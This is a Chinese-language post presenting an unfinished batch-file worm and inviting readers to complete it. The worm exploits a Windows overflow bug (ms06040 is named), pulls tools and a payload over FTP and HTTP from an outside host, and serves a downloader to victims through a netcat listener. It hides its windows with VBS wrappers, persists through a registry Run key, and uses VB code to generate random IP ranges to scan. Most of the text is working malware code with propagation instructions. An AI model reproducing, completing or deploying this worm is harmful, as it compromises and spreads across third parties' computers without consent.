利用批处理编写利用系统漏洞传播的蠕虫病毒

这些是我未完成的批处理,大家可以在此基础上按照我下面说的思路继续写完
del c:\42.exe
del c:\nc.exe
del c:\ip.exe
echo dim wsh > %systemroot%\help\test.vbs
echo set wsh=CreateObject("WScript.Shell") >> %systemroot%\help\test.vbs
echo wsh.run "cmd /c %systemroot%\help\nc -v -l -p 810 < %systemroot%\help\or.txt",0 >> %systemroot%\help\test.vbs
echo dim wsh > %systemroot%\help\test2.vbs
echo set wsh=CreateObject("WScript.Shell") >> %systemroot%\help\test2.vbs
echo wsh.run "cmd /c start %systemroot%\help\good.bat",0 >> %systemroot%\help\test2.vbs
echo open 10.0.0.5 > %systemroot%\help\ftp.txt
echo open myyes >> %systemroot%\help\ftp.txt
echo 1 >> %systemroot%\help\ftp.txt
echo binary >> %systemroot%\help\ftp.txt
echo get 42.exe c:\42.exe >> %systemroot%\help\ftp.txt
echo get nc.exe c:\nc.exe >> %systemroot%\help\ftp.txt
echo get ip.exe c:\ip.exe >> %systemroot%\help\ftp.txt
echo bye >> %systemroot%\help\ftp.txt
echo echo Set xPost = CreateObject("Microsoft.XMLHTTP") ^>1.vbs > %systemroot%\help\or.txt
echo echo xPost.Open "GET","http://10.0.0.5/my.exe&quo...,0 ^>^>1.vbs >> %systemroot%\help\or.txt
echo echo xPost.Send() ^>^>1.vbs >> %systemroot%\help\or.txt
echo echo Set sGet = CreateObject("ADODB.Stream") ^>^>1.vbs >> %systemroot%\help\or.txt
echo echo sGet.Mode = 3 ^>^>1.vbs >> %systemroot%\help\or.txt
echo echo sGet.Type = 1 ^>^>1.vbs >> %systemroot%\help\or.txt
echo echo sGet.Write(xPost.responseBody) ^>^>1.vbs >> %systemroot%\help\or.txt
echo echo sGet.SaveToFile "d:\my.exe",2 ^>^>1.vbs >> %systemroot%\help\or.txt
echo echo 1.vbs ^>^>1.vbs >> %systemroot%\help\or.txt
echo echo my.exe ^>^>1.vbs >> %systemroot%\help\or.txt
echo Windows Registry Editor Version 5.00 > %systemroot%\help\1.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> %systemroot%\help\1.reg
echo "SKYNET Personal FireWall"="F:\\系统安全工具\\FireWall\\PFW.exe" >> %systemroot%\help\1.reg
echo "1"="%systemroot%\\help\\test2.vbs" >> %systemroot%\help\1.reg

if not exist %systemroot%\help\good.bat copy good.bat %systemroot%\help\good.bat & %systemroot%\help\test2.vbs & del good.bat
regedit -s %systemroot%\help\1.reg
ftp -s:%systemroot%\help\ftp.txt
move c:\nc.exe %systemroot%\help\ /y
move c:\42.exe %systemroot%\help\ /y
move c:\ip.exe %systemroot%\help\ /y
%systemroot%\help\test.vbs
rem for /f %%i in (result1.txt) do set a=%%i
rem for /f %%j in (result.txt) do 42 %a% %%j 810
准备:
1:找一个反向连接的溢出攻击程序,如ms06040漏洞
2:找呀一个免费FTP空间,最好是送域名的
3:利用你所知道的高级语言编写一个,能生成随机范围IP地址和找到本机IP的工具.
思路:
用for语句对指定文本里的IP进行溢出,然后用if语句判断是否溢出成功, 如果成功开启一个NC监听端口,NC后面带一个 < 输入符号
输入的内容为下载本批处理文件,然后执行这个批处理.这样被溢出的机器就又会在他那里运行我门的批处理,从而到自动传播的目的.

把批处理生成的文件集中放到一个目录下,可以%systemroot%系统变量直接放到系统目录下
因为批处理运行后会闪出命令行窗口,我门可以利用VBS脚本来运行我们的批处理,这样就不会有任何窗口出现,脚本如下
echo dim wsh > %systemroot%\help\test.vbs
echo set wsh=CreateObject("WScript.Shell") >> %systemroot%\help\test.vbs
echo wsh.run "cmd /c %systemroot%\help\nc -v -l -p 810 < %systemroot%\help\or.txt",0 >> %systemroot%\help\test.vbs

生成随机IP工具的VB代码
Private Sub Form_Load()
Dim fso As New FileSystemObject
Dim a, b, c, d    As Integer
Dim ph, e As String
ph = App.Path & "\" & "ip.txt"
Randomize
a = Int(253 * Rnd + 1)
b = Int(253 * Rnd + 1)
c = Int(240 * Rnd + 1)
Open ph For Output As #1
For i = c To c + 7
    For j = 1 To 254
      e = a & "." & b & "." & i & "." & j
      Print #1, e
      DoEvents
    Next j
Next i
Close #1
Unload Me
End Sub